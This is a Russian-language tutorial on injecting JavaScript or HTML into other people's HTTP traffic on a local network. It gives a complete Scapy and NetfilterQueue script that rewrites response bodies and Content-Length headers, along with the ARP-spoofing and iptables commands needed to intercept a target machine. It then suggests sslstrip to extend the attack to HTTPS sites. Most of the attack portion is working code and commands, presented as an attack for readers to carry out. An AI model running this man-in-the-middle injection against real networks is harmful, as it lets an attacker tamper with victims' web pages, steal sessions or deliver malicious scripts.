Как внедрить код в HTTP-requests в сети на Python
Узнайте, как можно внедрить Javascript, HTML или CSS в пакеты ответов HTTP в сети с помощью Scapy и NetfilterQueue в Python.
После выполнения ARP-спуфинга на целевом компьютере в сети вы можете выполнять множество типов атак. Как вы, возможно, уже знаете, при ARP-спуфинге цели в сети вы становитесь человеком посередине, что означает, что каждый передаваемый пакет виден и может быть изменен злоумышленником.
В этой статье вы узнаете, как внедрить код Javascript (или даже HTML и CSS) в HTTP-пакеты в сети с помощью библиотеки Scapy в Python.
Scapy – это инструмент манипуляции пакетами для компьютерных сетей, написанный на языке Python. Он работает в Linux и предоставляет нам возможность легко перехватывать, читать и изменять пакеты.
Чтобы иметь возможность изменять пакеты на лету, необходимо:
- Иметь Linux-машину, Kali Linux – это плюс.
- Быть человеком посередине путем ARP спуфинга цели, учебник по ARP спуфингу даст вам больше подробностей о том, как это делается, а мы просто запустим скрипт в этом учебнике.
- Добавление нового правила NFQUEUE FORWARD в команде iptables.
- Запустите сценарий Python из этого руководства.
Во-первых, давайте установим необходимые библиотеки для этого учебника:
$ pip install scapy==2.4.5 netfilterqueue colorama
NetfilterQueue предоставляет доступ к пакетам, соответствующим правилу iptables в Linux. Таким образом, пакеты могут быть изменены, отброшены, приняты или переупорядочены.
Мы будем использовать colorama для цветной печати.
Сначала импортируем наши библиотеки и инициализируем цвета:
from scapy.all import *
from colorama import init, Fore
import netfilterqueue
import re
# initialize colorama
init()
# define colors
GREEN = Fore.GREEN
RESET = Fore.RESET
Далее, чтобы привязаться к NetfilterQueue, мы должны сделать функцию, которая принимает пакет в качестве параметра, и в ней мы будем выполнять модификацию пакета. Функция будет длинной и поэтому разделена на две части:
def process_packet(packet):
"""
This function is executed whenever a packet is sniffed
"""
# convert the netfilterqueue packet into Scapy packet
spacket = IP(packet.get_payload())
if spacket.haslayer(Raw) and spacket.haslayer(TCP):
if spacket[TCP].dport == 80:
# HTTP request
print(f"[*] Detected HTTP Request from {spacket[IP].src} to {spacket[IP].dst}")
try:
load = spacket[Raw].load.decode()
except Exception as e:
# raw data cannot be decoded, apparently not HTML
# forward the packet exit the function
packet.accept()
return
# remove Accept-Encoding header from the HTTP request
new_load = re.sub(r"Accept-Encoding:.*\r\n", "", load)
# set the new data
spacket[Raw].load = new_load
# set IP length header, checksums of IP and TCP to None
# so Scapy will re-calculate them automatically
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
# set the modified Scapy packet back to the netfilterqueue packet
packet.set_payload(bytes(spacket))
Это только половина функции:
- Мы преобразуем наш пакет Netfilterqueue в пакет Scapy, обернув пакет packet.get_payload() пакетом IP().
- Если пакет имеет уровень Raw (какие-то данные), имеет уровень TCP, а порт назначения равен 80, то это определенно HTTP-запрос.
- В HTTP-запросе мы ищем заголовок Accept-Encoding, если он есть, то мы просто удаляем его, чтобы получить HTTP-ответы в виде необработанного HTML-кода, а не какого-то сжатия, например, gzip.
- Мы также установили длину IP-пакета, контрольные суммы уровней TCP и IP в None, чтобы Scapy автоматически пересчитал их.
Далее, вот другая часть обнаружения HTTP-ответов:
if spacket[TCP].sport == 80:
# HTTP response
print(f"[*] Detected HTTP Response from {spacket[IP].src} to {spacket[IP].dst}")
try:
load = spacket[Raw].load.decode()
except:
packet.accept()
return
# if you want to debug and see the HTML data
# print("Load:", load)
# Javascript code to add, feel free to add any Javascript code
added_text = "<script>alert('Javascript Injected successfully!');</script>"
# or you can add HTML as well!
# added_text = "<p><b>HTML Injected successfully!</b></p>"
# calculate the length in bytes, each character corresponds to a byte
added_text_length = len(added_text)
# replace the </body> tag with the added text plus </body>
load = load.replace("</body>", added_text + "</body>")
if "Content-Length" in load:
# if Content-Length header is available
# get the old Content-Length value
content_length = int(re.search(r"Content-Length: (\d+)\r\n", load).group(1))
# re-calculate the content length by adding the length of the injected code
new_content_length = content_length + added_text_length
# replace the new content length to the header
load = re.sub(r"Content-Length:.*\r\n", f"Content-Length: {new_content_length}\r\n", load)
# print a message if injected
if added_text in load:
print(f"{GREEN}[+] Successfully injected code to {spacket[IP].dst}{RESET}")
# if you want to debug and see the modified HTML data
# print("Load:", load)
# set the new data
spacket[Raw].load = load
# set IP length header, checksums of IP and TCP to None
# so Scapy will re-calculate them automatically
spacket[IP].len = None
spacket[IP].chksum = None
spacket[TCP].chksum = None
# set the modified Scapy packet back to the netfilterqueue packet
packet.set_payload(bytes(spacket))
# accept all the packets
packet.accept()
Теперь, если порт источника 80, то это HTTP-ответ, и именно здесь мы должны изменить наш пакет:
- Во-первых, мы извлекаем наш HTML-контент из HTTP-ответа по атрибуту load пакета.
- Во-вторых, поскольку каждый HTML-код имеет заключающий тег body (), мы можем просто заменить его на внедренный код (например, JS) и добавить обратно в конец.
- После того как переменная load будет изменена, нам нужно заново вычислить заголовок Content-Length, который отправляется в HTTP-ответе, мы добавляем длину внедренного кода к исходной длине и устанавливаем ее обратно с помощью функции re.sub(). Если текст находится в загрузке, мы печатаем зеленое сообщение, указывающее на то, что мы успешно изменили HTML HTTP-ответа.
- Кроме того, мы установили load обратно и удалили длину и контрольную сумму, как и раньше, чтобы Scapy вычислил их заново.
- Наконец, мы устанавливаем модифицированный пакет Scapy в пакет NetfilterQueue и принимаем все перенаправленные пакеты.
Теперь наша функция готова, давайте запустим очередь:
if __name__ == "__main__":
# initialize the queue
queue = netfilterqueue.NetfilterQueue()
# bind the queue number 0 to the process_packet() function
queue.bind(0, process_packet)
# start the filter queue
queue.run()
После инстанцирования NetfilterQueue() мы привязываем нашу ранее определенную функцию к номеру очереди 0, а затем запускаем очередь.
Сохраните файл как http_code_injector.py, и давайте начнем атаку.
ARP-спуфинг цели
Чтобы начать работу, необходимо иметь две машины, подключенные к одной сети. Целевая машина может быть на любой ОС. Однако атакующая машина должна быть на Linux. В противном случае это не сработает.
Как только у вас есть IP-адрес целевой машины, а также IP-адрес шлюза (маршрутизатора или точки доступа), возьмите этот скрипт ARP Spoofing Python и запустите его на атакующей машине:
$ python3 arp_spoof.py 192.168.43.112 192.168.43.1
В моем случае 192.168.43.112 – это IP-адрес целевой машины, а IP-адрес шлюза – 192.168.43.1; вот как будет выглядеть результат:
[!] Enabling IP Routing...
[!] IP Routing enabled.
Это позволило включить IP-переадресацию, которая необходима для пересылки пакетов на машину злоумышленника. Если вы хотите увидеть ARP-пакеты, отправленные этим скриптом, просто передайте параметр -v или –verbose.
Добавление правила IPTables
Теперь, когда вы являетесь человеком посередине, добавьте правило FORWARD в iptables:
$ iptables -I FORWARD -j NFQUEUE --queue-num 0
После выполнения этой команды вы заметите, что целевая машина потеряет подключение к Интернету, а все потому, что пакеты застряли на машине злоумышленника, и нам нужно запустить наш сценарий, чтобы вернуть их обратно.
Внедрение кода в HTTP-пакеты
Теперь мы просто запустим Python-код этого учебника:
$ python http_code_injector.py
Теперь перейдите на целевую машину и просмотрите любой HTTP-сайт, например ptsv2.com или http://httpbin.org, и вы увидите нечто подобное на машине атакующего:
В браузере на целевой машине вы увидите предупреждение, которое мы внедрили:
Вы также увидите внедренный код, если просмотрите исходный текст страницы:
Заключение
Потрясающе! Теперь вы не ограничены этим! Вы можете внедрить HTML, CSS, заменить заголовок, заменить стили, заменить изображения и многое другое; предел – это ваше воображение.
Когда вы завершите атаку, убедитесь, что вы CTRL+C скрипт ARP спуфинга и выполните команду iptables –flush, чтобы вернуть все в нормальное состояние.
Для получения более подробной информации об ARP спуфинге ознакомьтесь с нашим руководством по этому вопросу.
Обратите внимание, что код будет работать только на HTTP-сайтах. Если вы хотите, чтобы он работал на HTTPS, используйте такие инструменты, как sslstrip, чтобы перевести целевую машину с HTTPS на HTTP.